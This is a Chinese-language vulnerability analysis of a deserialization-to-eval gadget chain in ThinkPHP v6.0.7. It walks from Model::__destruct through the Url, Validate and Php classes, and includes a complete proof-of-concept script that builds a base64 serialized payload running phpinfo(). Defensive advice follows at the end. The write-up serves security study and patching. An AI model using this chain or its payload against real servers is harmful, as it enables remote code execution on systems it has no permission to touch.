ThinkPHP v6.0.7 eval反序列化利用链
字数 1216 2025-08-06 08:35:41
ThinkPHP v6.0.7 eval反序列化利用链分析
0x00 前言
本文详细分析ThinkPHP v6.0.7版本中存在的一个eval反序列化利用链,该漏洞允许攻击者在满足特定条件下执行任意PHP代码。
0x01 利用条件
- 存在一个完全可控的反序列化点
- 目标系统使用ThinkPHP v6.0.7框架
0x02 环境配置
-
使用composer安装ThinkPHP v6.0.7:
composer create-project topthink/think=6.0.7 tp607 cd tp607 php think run -
修改入口文件
app/controller/Index.php,创建可控反序列化点
0x03 漏洞分析
反序列化入口点
利用链从Model类的__destruct方法开始:
abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable
{
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
}
利用链构造步骤
-
触发save方法:
- 设置
$this->lazySave = true - 使用
Pivot类(继承自Model)作为起点
- 设置
-
绕过save方法中的条件检查:
- 设置
$this->data = [7](非空数组绕过isEmpty()检查) - 设置
$this->withEvent = true(绕过trigger('BeforeWrite')检查)
- 设置
-
触发__toString方法:
- 在
db()方法中,通过$this->table . $this->suffix触发字符串拼接 - 使用
Url类作为$this->table的值
- 在
-
Url类的利用:
- 设置
$this->url = 'a:'(绕过初始检查) - 构造
$this->domain为可控字符串 - 设置
$this->route为Validate类实例
- 设置
-
触发__call方法:
Validate类的__call方法将调用转换为is方法- 通过
$this->type数组控制最终调用的函数
-
最终执行eval:
- 使用
Php类的display方法执行eval - 构造
call_user_func_array([new Php, 'display'], ['<?php phpinfo(); ?>'])
- 使用
0x04 关键类和方法
-
Model类:
__destruct:反序列化入口save:主要执行流程
-
Url类:
__toString:触发字符串转换build:处理URL逻辑
-
Validate类:
__call:方法重定向is:最终函数调用点
-
Php类:
display:包含eval执行点
0x05 EXP构造
<?php
namespace think\model\concern{
trait Attribute{
private $data = [7];
}
}
namespace think\view\driver{
class Php{}
}
namespace think{
abstract class Model{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
protected $table;
function __construct($cmd){
$this->lazySave = true;
$this->withEvent = false;
$this->table = new route\Url(new Middleware,new Validate,$cmd);
}
}
class Middleware{
public $request = 2333;
}
class Validate{
protected $type;
function __construct(){
$this->type = [
"getDomainBind" => [new view\driver\Php,'display']
];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{}
}
namespace think\route{
class Url
{
protected $url = 'a:';
protected $domain;
protected $app;
protected $route;
function __construct($app,$route,$cmd){
$this->domain = $cmd;
$this->app = $app;
$this->route = $route;
}
}
}
namespace{
echo base64_encode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>')));
}
0x06 防御建议
- 升级ThinkPHP到最新版本
- 避免使用不可信的序列化数据
- 对用户输入进行严格过滤
- 禁用不必要的危险函数(如eval)
0x07 总结
该漏洞利用链通过精心构造的序列化对象,从Model类的析构函数开始,经过多个类的跳转,最终到达Php类的display方法执行eval。整个利用链展示了PHP反序列化漏洞的复杂性和危害性,需要开发者高度重视此类安全问题。